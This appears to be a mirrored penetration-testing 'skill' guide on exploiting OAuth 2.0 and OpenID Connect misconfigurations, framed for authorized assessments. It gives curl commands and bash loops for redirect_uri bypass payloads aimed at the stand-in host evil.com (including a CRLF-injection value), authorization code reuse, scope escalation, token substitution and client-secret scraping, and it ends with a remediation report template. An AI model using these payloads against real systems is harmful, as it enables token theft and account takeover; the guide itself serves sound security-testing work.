mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-06 07:48:57 +03:00
299 lines
12 KiB
Markdown
299 lines
12 KiB
Markdown
---
|
|
name: exploiting-oauth-misconfiguration
|
|
description: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags: [penetration-testing, oauth, oidc, authentication, web-security, authorization]
|
|
version: "1.0"
|
|
author: mahipal
|
|
license: MIT
|
|
---
|
|
|
|
# Exploiting OAuth Misconfiguration
|
|
|
|
## When to Use
|
|
|
|
- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
|
|
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
|
|
- For testing single sign-on (SSO) flows between applications
|
|
- When evaluating API authorization using OAuth bearer tokens
|
|
- During security assessments of applications acting as OAuth providers or consumers
|
|
|
|
## Prerequisites
|
|
|
|
- **Authorization**: Written penetration testing agreement covering OAuth/SSO flows
|
|
- **Burp Suite Professional**: For intercepting OAuth redirect flows
|
|
- **Browser with DevTools**: For monitoring redirect chains and token leakage
|
|
- **Multiple test accounts**: On both the OAuth provider and the target application
|
|
- **curl**: For manual OAuth flow testing
|
|
- **Attacker-controlled server**: For receiving redirected tokens/codes
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Map the OAuth Flow and Configuration
|
|
|
|
Identify the OAuth grant type, endpoints, and configuration.
|
|
|
|
```bash
|
|
# Discover OAuth/OIDC configuration endpoints
|
|
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
|
|
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
|
|
|
|
# Key endpoints to identify:
|
|
# - Authorization endpoint: /oauth/authorize
|
|
# - Token endpoint: /oauth/token
|
|
# - UserInfo endpoint: /oauth/userinfo
|
|
# - JWKS endpoint: /oauth/certs
|
|
|
|
# Capture the authorization request in Burp
|
|
# Typical authorization code flow:
|
|
# GET /oauth/authorize?
|
|
# response_type=code&
|
|
# client_id=CLIENT_ID&
|
|
# redirect_uri=https://app.example.com/callback&
|
|
# scope=openid profile email&
|
|
# state=RANDOM_STATE
|
|
|
|
# Identify the grant type:
|
|
# - Authorization Code: response_type=code
|
|
# - Implicit: response_type=token
|
|
# - Hybrid: response_type=code+token
|
|
|
|
# Check for PKCE parameters:
|
|
# - code_challenge=...
|
|
# - code_challenge_method=S256
|
|
```
|
|
|
|
### Step 2: Test Redirect URI Manipulation
|
|
|
|
Attempt to redirect the authorization code or token to an attacker-controlled domain.
|
|
|
|
```bash
|
|
# Test open redirect via redirect_uri
|
|
# Original: redirect_uri=https://app.example.com/callback
|
|
# Attempt various bypasses:
|
|
|
|
BYPASSES=(
|
|
"https://evil.com"
|
|
"https://app.example.com.evil.com/callback"
|
|
"https://app.example.com@evil.com/callback"
|
|
"https://app.example.com/callback/../../../evil.com"
|
|
"https://evil.com/?.app.example.com"
|
|
"https://evil.com#.app.example.com"
|
|
"https://app.example.com/callback?next=https://evil.com"
|
|
"https://APP.EXAMPLE.COM/callback"
|
|
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
|
|
"https://app.example.com/CALLBACK"
|
|
"http://app.example.com/callback"
|
|
"https://app.example.com/callback/../../other-path"
|
|
)
|
|
|
|
for uri in "${BYPASSES[@]}"; do
|
|
echo -n "Testing: $uri -> "
|
|
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
|
|
echo "$status"
|
|
done
|
|
|
|
# If redirect_uri validation is path-based, try path traversal
|
|
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
|
|
|
|
# If subdomain matching, try subdomain takeover + redirect
|
|
# redirect_uri=https://abandoned-subdomain.example.com/
|
|
```
|
|
|
|
### Step 3: Test for Authorization Code and Token Theft
|
|
|
|
Exploit leakage vectors for stealing OAuth tokens and codes.
|
|
|
|
```bash
|
|
# Test token leakage via Referer header
|
|
# If implicit flow returns token in URL fragment:
|
|
# https://app.example.com/callback#access_token=TOKEN
|
|
# And the callback page loads external resources,
|
|
# the Referer header may leak the URL with the token
|
|
|
|
# Test for authorization code leakage via Referer
|
|
# After receiving code at callback, check if:
|
|
# 1. Page loads external images/scripts
|
|
# 2. Page has links to external sites
|
|
# Burp: Check Proxy History for Referer headers containing "code="
|
|
|
|
# Test authorization code reuse
|
|
CODE="captured_auth_code"
|
|
# First use
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
|
|
|
|
# Second use (should fail but may not)
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
|
|
|
|
# Test state parameter absence/predictability
|
|
# Remove state parameter entirely
|
|
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
|
|
# If no error, CSRF on OAuth flow is possible
|
|
```
|
|
|
|
### Step 4: Test Scope Escalation and Privilege Manipulation
|
|
|
|
Attempt to gain more permissions than intended.
|
|
|
|
```bash
|
|
# Request additional scopes beyond what's needed
|
|
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
|
|
|
|
# Test with elevated scope on token exchange
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
|
|
|
|
# Test token with manipulated claims
|
|
# If JWT access token, try modifying claims (see JWT testing skill)
|
|
|
|
# Test refresh token scope escalation
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
|
|
|
|
# Test client credential flow with elevated permissions
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
|
|
```
|
|
|
|
### Step 5: Test for Account Takeover via OAuth
|
|
|
|
Exploit OAuth flows to take over victim accounts.
|
|
|
|
```bash
|
|
# Test missing email verification on OAuth provider
|
|
# 1. Create an account on the OAuth provider with victim's email
|
|
# 2. OAuth login to the target app
|
|
# 3. If the app trusts the unverified email, account linking occurs
|
|
|
|
# Test pre-authentication account linking
|
|
# 1. Register on target app with victim's email (no OAuth)
|
|
# 2. Attacker links their OAuth account to victim's email
|
|
# 3. Attacker can now login via OAuth to victim's account
|
|
|
|
# CSRF on account linking
|
|
# If /oauth/link endpoint lacks CSRF protection:
|
|
# 1. Attacker initiates OAuth flow, captures the auth code
|
|
# 2. Craft a page that submits the code to victim's session
|
|
# 3. Victim's account gets linked to attacker's OAuth account
|
|
|
|
# Test token substitution
|
|
# Use authorization code/token from one client_id with another
|
|
curl -s -X POST "https://auth.target.example.com/oauth/token" \
|
|
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
|
|
```
|
|
|
|
### Step 6: Test Client Secret and Token Security
|
|
|
|
Assess the security of OAuth credentials and tokens.
|
|
|
|
```bash
|
|
# Check for exposed client secrets
|
|
# Search JavaScript source code
|
|
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
|
|
|
|
# Check mobile app decompilation for hardcoded secrets
|
|
|
|
# Test token revocation
|
|
ACCESS_TOKEN="captured_access_token"
|
|
# Use the token
|
|
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
|
|
"https://api.target.example.com/me"
|
|
|
|
# Revoke the token
|
|
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
|
|
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
|
|
|
|
# Test if revoked token still works
|
|
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
|
|
"https://api.target.example.com/me"
|
|
|
|
# Test token lifetime
|
|
# Decode JWT access token and check exp claim
|
|
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
|
|
# Long-lived tokens (hours/days) increase attack window
|
|
|
|
# Check PKCE implementation
|
|
# If public client without PKCE, authorization code interception is possible
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
|
|
| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
|
|
| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |
|
|
| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |
|
|
| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |
|
|
| **Scope Escalation** | Requesting or obtaining more permissions than authorized |
|
|
| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |
|
|
| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |
|
|
| **OWASP ZAP** | Automated OAuth flow scanning |
|
|
| **Postman** | Manual OAuth flow testing with environment variables |
|
|
| **oauth-tools.com** | Online OAuth flow debugging and testing |
|
|
| **jwt.io** | JWT token analysis for OAuth access tokens |
|
|
| **Browser DevTools** | Monitoring network requests and redirect chains |
|
|
|
|
## Common Scenarios
|
|
|
|
### Scenario 1: Redirect URI Subdomain Bypass
|
|
The OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.
|
|
|
|
### Scenario 2: Missing State Parameter CSRF
|
|
The OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
|
|
|
|
### Scenario 3: Implicit Flow Token Theft
|
|
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
|
|
|
|
### Scenario 4: Authorization Code Reuse
|
|
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## OAuth Security Assessment Report
|
|
|
|
**Vulnerability**: Redirect URI Validation Bypass
|
|
**Severity**: High (CVSS 8.1)
|
|
**Location**: GET /oauth/authorize - redirect_uri parameter
|
|
**OWASP Category**: A07:2021 - Identification and Authentication Failures
|
|
|
|
### OAuth Configuration
|
|
| Property | Value |
|
|
|----------|-------|
|
|
| Grant Type | Authorization Code |
|
|
| PKCE | Not implemented |
|
|
| State Parameter | Present but predictable |
|
|
| Token Type | JWT (RS256) |
|
|
| Token Lifetime | 1 hour |
|
|
| Refresh Token | 30 days |
|
|
|
|
### Findings
|
|
| Finding | Severity |
|
|
|---------|----------|
|
|
| Redirect URI path traversal bypass | High |
|
|
| Missing PKCE on public client | High |
|
|
| Authorization code reusable | Medium |
|
|
| State parameter uses sequential values | Medium |
|
|
| Client secret exposed in JavaScript | Critical |
|
|
| Token not revoked after password change | Medium |
|
|
|
|
### Recommendation
|
|
1. Implement strict redirect_uri validation with exact string matching
|
|
2. Require PKCE for all clients (especially public/mobile clients)
|
|
3. Invalidate authorization codes after first use
|
|
4. Use cryptographically random state parameters tied to user sessions
|
|
5. Migrate from implicit flow to authorization code flow with PKCE
|
|
6. Never expose client secrets in client-side code
|
|
```
|